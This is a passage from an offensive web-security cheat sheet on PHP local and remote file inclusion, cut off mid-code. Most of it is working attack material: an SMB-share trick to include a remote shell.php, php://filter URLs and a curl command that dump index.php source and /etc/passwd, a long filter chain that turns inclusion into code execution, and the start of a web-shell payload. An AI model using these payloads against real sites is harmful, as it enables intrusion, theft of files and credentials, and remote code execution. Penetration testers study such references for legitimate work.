<h3 id="bypass-allow_url_include">Bypass allow_url_include</h3>
|
|
<p>When <code>allow_url_include</code> and <code>allow_url_fopen</code> are set to <code>Off</code>. It is still possible to include a remote file on Windows box using the <code>smb</code> protocol.</p>
|
|
<ol>
|
|
<li>Create a share open to everyone</li>
|
|
<li>Write a PHP code inside a file : <code>shell.php</code></li>
|
|
<li>Include it <code>http://example.com/index.php?page=\\10.0.0.1\share\shell.php</code></li>
|
|
</ol>
|
|
<h2 id="lfi-rfi-using-wrappers">LFI / RFI using wrappers</h2>
|
|
<h3 id="wrapper-phpfilter">Wrapper php://filter</h3>
|
|
<p>The part "<code>php://filter</code>" is case insensitive</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-11-1" name="__codelineno-11-1" href="#__codelineno-11-1"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=</span><span class="n">php</span><span class="p">://</span><span class="k">filter</span><span class="p">/</span><span class="n">read</span><span class="p">=</span><span class="n">string</span><span class="p">.</span><span class="n">rot13</span><span class="p">/</span><span class="n">resource</span><span class="p">=</span><span class="n">index</span><span class="p">.</span><span class="n">php</span>
|
|
<a id="__codelineno-11-2" name="__codelineno-11-2" href="#__codelineno-11-2"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=</span><span class="n">php</span><span class="p">://</span><span class="k">filter</span><span class="p">/</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">utf</span><span class="p">-</span><span class="n">8</span><span class="p">.</span><span class="n">utf</span><span class="p">-</span><span class="n">16</span><span class="p">/</span><span class="n">resource</span><span class="p">=</span><span class="n">index</span><span class="p">.</span><span class="n">php</span>
|
|
<a id="__codelineno-11-3" name="__codelineno-11-3" href="#__codelineno-11-3"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=</span><span class="n">php</span><span class="p">://</span><span class="k">filter</span><span class="p">/</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">/</span><span class="n">resource</span><span class="p">=</span><span class="n">index</span><span class="p">.</span><span class="n">php</span>
|
|
<a id="__codelineno-11-4" name="__codelineno-11-4" href="#__codelineno-11-4"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=</span><span class="n">pHp</span><span class="p">://</span><span class="k">FilTer</span><span class="p">/</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">/</span><span class="n">resource</span><span class="p">=</span><span class="n">index</span><span class="p">.</span><span class="n">php</span>
|
|
</code></pre></div>
|
|
<p>Wrappers can be chained with a compression wrapper for large files.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-12-1" name="__codelineno-12-1" href="#__codelineno-12-1"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=</span><span class="n">php</span><span class="p">://</span><span class="k">filter</span><span class="p">/</span><span class="n">zlib</span><span class="p">.</span><span class="n">deflate</span><span class="p">/</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">/</span><span class="n">resource</span><span class="p">=/</span><span class="n">etc</span><span class="p">/</span><span class="n">passwd</span>
|
|
</code></pre></div>
|
|
<p>NOTE: Wrappers can be chained multiple times using <code>|</code> or <code>/</code>:
|
|
- Multiple base64 decodes: <code>php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s</code>
|
|
- deflate then <code>base64encode</code> (useful for limited character exfil): <code>php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php</code></p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-13-1" name="__codelineno-13-1" href="#__codelineno-13-1"></a><span class="p">./</span><span class="n">kadimus</span> <span class="n">-u</span> <span class="s2">"http://example.com/index.php?page=vuln"</span> <span class="n">-S</span> <span class="o">-f</span> <span class="s2">"index.php%00"</span> <span class="n">-O</span> <span class="n">index</span><span class="p">.</span><span class="n">php</span> <span class="p">-</span><span class="n">-parameter</span> <span class="n">page</span>
|
|
<a id="__codelineno-13-2" name="__codelineno-13-2" href="#__codelineno-13-2"></a><span class="nb">curl </span><span class="s2">"http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php"</span> <span class="p">|</span> <span class="n">base64</span> <span class="n">-d</span> <span class="p">></span> <span class="n">index</span><span class="p">.</span><span class="n">php</span>
|
|
</code></pre></div>
|
|
<p>Also there is a way to turn the <code>php://filter</code> into a full RCE. </p>
|
|
<ul>
|
|
<li><a href="https://github.com/synacktiv/php_filter_chain_generator">synacktiv/php_filter_chain_generator</a> - A CLI to generate PHP filters chain
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-14-1" name="__codelineno-14-1" href="#__codelineno-14-1"></a><span class="p">$</span> <span class="n">python3</span> <span class="n">php_filter_chain_generator</span><span class="p">.</span><span class="n">py</span> <span class="p">-</span><span class="n">-chain</span> <span class="s1">'<?php phpinfo();?>'</span>
|
|
<a id="__codelineno-14-2" name="__codelineno-14-2" href="#__codelineno-14-2"></a><span class="p">[+]</span> <span class="n">The</span> <span class="n">following</span> <span class="n">gadget</span> <span class="n">chain</span> <span class="n">will</span> <span class="n">generate</span> <span class="n">the</span> <span class="n">following</span> <span class="n">code</span> <span class="p">:</span> <span class="p"><</span><span class="k">?</span><span class="n">php</span> <span class="n">phpinfo</span><span class="p">();?></span> <span class="p">(</span><span class="n">base64</span> <span class="n">value</span><span class="p">:</span> <span class="n">PD9waHAgcGhwaW5mbygpOz8</span><span class="p">+)</span>
|
|
<a id="__codelineno-14-3" name="__codelineno-14-3" href="#__codelineno-14-3"></a><span class="n">php</span><span class="p">://</span><span class="k">filter</span><span class="p">/</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">CSISO2022KR</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF16</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UCS</span><span class="p">-</span><span class="n">2</span><span class="p">.</span><span class="n">UTF8</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">L6</span><span class="p">.</span><span class="n">UTF8</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">L4</span><span class="p">.</span><span class="n">UCS2</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">ISO2022KR</span><span class="p">.</span><span class="n">UTF16</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">L6</span><span class="p">.</span><span class="n">UCS2</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">865</span><span class="p">.</span><span class="n">UTF16</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">CP901</span><span class="p">.</span><span class="n">ISO6937</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">CSA_T500</span><span class="p">.</span><span class="n">UTF</span><span class="p">-</span><span class="n">32</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">CP857</span><span class="p">.</span><span class="n">ISO</span><span class="p">-</span><span class="n">2022-JP</span><span class="p">-</span><span class="n">3</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">ISO2022JP2</span><span class="p">.</span><span class="n">CP775</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">IBM891</span><span class="p">.</span><span class="n">CSUNICODE</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">ISO8859</span><span class="p">-</span><span class="n">14</span><span class="p">.</span><span class="n">ISO6937</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">BIG-FIVE</span><span class="p">.</span><span class="n">UCS</span><span class="p">-</span><span class="n">4</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">SE2</span><span class="p">.</span><span class="n">UTF</span><span class="p">-</span><span class="n">16</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">CSIBM921</span><span class="p">.</span><span class="n">NAPLPS</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">855</span><span class="p">.</span><span class="n">CP936</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">IBM</span><span class="p">-</span><span class="n">932</span><span class="p">.</span><span class="n">UTF</span><span class="p">-</span><span class="n">8</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">851</span><span class="p">.</span><span class="n">UTF</span><span class="p">-</span><span class="n">16</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">L1</span><span class="p">.</span><span class="n">T</span><span class="p">.</span><span class="n">618BIT</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">JS</span><span class="p">.</span><span class="n">UNICODE</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">L4</span><span class="p">.</span><span class="n">UCS2</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UCS</span><span class="p">-</span><span class="n">2</span><span class="p">.</span><span class="n">OSF00030010</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">CSIBM1008</span><span class="p">.</span><span class="n">UTF32BE</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">SE2</span><span class="p">.</span><span class="n">UTF</span><span class="p">-</span><span class="n">16</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">CSIBM921</span><span class="p">.</span><span class="n">NAPLPS</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">CP1163</span><span class="p">.</span><span class="n">CSA_T500</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UCS</span><span class="p">-</span><span class="n">2</span><span class="p">.</span><span class="n">MSCP949</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF16LE</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">CSISO2022KR</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF16</span><span class="p">.</span><span class="n">EUCTW</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">8859_3</span><span class="p">.</span><span class="n">UCS2</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">SE2</span><span class="p">.</span><span class="n">UTF</span><span class="p">-</span><span class="n">16</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">CSIBM1161</span><span class="p">.</span><span class="n">IBM</span><span class="p">-</span><span class="n">932</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">MS932</span><span class="p">.</span><span class="n">MS936</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">CP1046</span><span class="p">.</span><span class="n">UTF32</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">L6</span><span class="p">.</span><span class="n">UCS</span><span class="p">-</span><span class="n">2</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF</span><span class="p">-</span><span class="n">16LE</span><span class="p">.</span><span class="n">T</span><span class="p">.</span><span class="n">61</span><span class="p">-</span><span class="n">8BIT</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">865</span><span class="p">.</span><span class="n">UCS</span><span class="p">-</span><span class="n">4LE</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">MAC</span><span class="p">.</span><span class="n">UTF16</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">L8</span><span class="p">.</span><span class="n">UTF16BE</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">CSGB2312</span><span class="p">.</span><span class="n">UTF</span><span class="p">-</span><span class="n">32</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">IBM</span><span class="p">-</span><span class="n">1161</span><span class="p">.</span><span class="n">IBM932</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">GB13000</span><span class="p">.</span><span class="n">UTF16BE</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">864</span><span class="p">.</span><span class="n">UTF</span><span class="p">-</span><span class="n">32LE</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">L6</span><span class="p">.</span><span class="n">UNICODE</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">CP1282</span><span class="p">.</span><span class="n">ISO-IR</span><span class="p">-</span><span class="n">90</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">L4</span><span class="p">.</span><span class="n">UTF32</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">CP1250</span><span class="p">.</span><span class="n">UCS</span><span class="p">-</span><span class="n">2</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">SE2</span><span class="p">.</span><span class="n">UTF</span><span class="p">-</span><span class="n">16</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">CSIBM921</span><span class="p">.</span><span class="n">NAPLPS</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">855</span><span class="p">.</span><span class="n">CP936</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">IBM</span><span class="p">-</span><span class="n">932</span><span class="p">.</span><span class="n">UTF</span><span class="p">-</span><span class="n">8</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">8859_3</span><span class="p">.</span><span class="n">UTF16</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">863</span><span class="p">.</span><span class="n">SHIFT_JISX0213</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">CP1046</span><span class="p">.</span><span class="n">UTF16</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">ISO6937</span><span class="p">.</span><span class="n">SHIFT_JISX0213</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">CP1046</span><span class="p">.</span><span class="n">UTF32</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">L6</span><span class="p">.</span><span class="n">UCS</span><span class="p">-</span><span class="n">2</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF</span><span class="p">-</span><span class="n">16LE</span><span class="p">.</span><span class="n">T</span><span class="p">.</span><span class="n">61</span><span class="p">-</span><span class="n">8BIT</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">865</span><span class="p">.</span><span class="n">UCS</span><span class="p">-</span><span class="n">4LE</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">MAC</span><span class="p">.</span><span class="n">UTF16</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">L8</span><span class="p">.</span><span class="n">UTF16BE</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">CSIBM1161</span><span class="p">.</span><span class="n">UNICODE</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">ISO-IR</span><span class="p">-</span><span class="n">156</span><span class="p">.</span><span class="n">JOHAB</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">INIS</span><span class="p">.</span><span class="n">UTF16</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">CSIBM1133</span><span class="p">.</span><span class="n">IBM943</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">IBM932</span><span class="p">.</span><span class="n">SHIFT_JISX0213</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">SE2</span><span class="p">.</span><span class="n">UTF</span><span class="p">-</span><span class="n">16</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">CSIBM1161</span><span class="p">.</span><span class="n">IBM</span><span class="p">-</span><span class="n">932</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">MS932</span><span class="p">.</span><span class="n">MS936</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">BIG5</span><span class="p">.</span><span class="n">JOHAB</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">/</span><span class="n">resource</span><span class="p">=</span><span class="n">php</span><span class="p">://</span><span class="n">temp</span>
|
|
</code></pre></div></li>
|
|
<li><a href="./LFI2RCE.py">LFI2RCE.py</a> to generate a custom payload.
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-15-1" name="__codelineno-15-1" href="#__codelineno-15-1"></a><span class="c"># vulnerable file: index.php</span>
|
|
<a id="__codelineno-15-2" name="__codelineno-15-2" href="#__codelineno-15-2"></a><span class="c"># vulnerable parameter: file</span>
|
|
<a id="__codelineno-15-3" name="__codelineno-15-3" href="#__codelineno-15-3"></a><span class="c"># executed command: id</span>
|
|
<a id="__codelineno-15-4" name="__codelineno-15-4" href="#__codelineno-15-4"></a><span class="c"># executed PHP code: <?=`$_GET[0]`;;?></span>
|
|
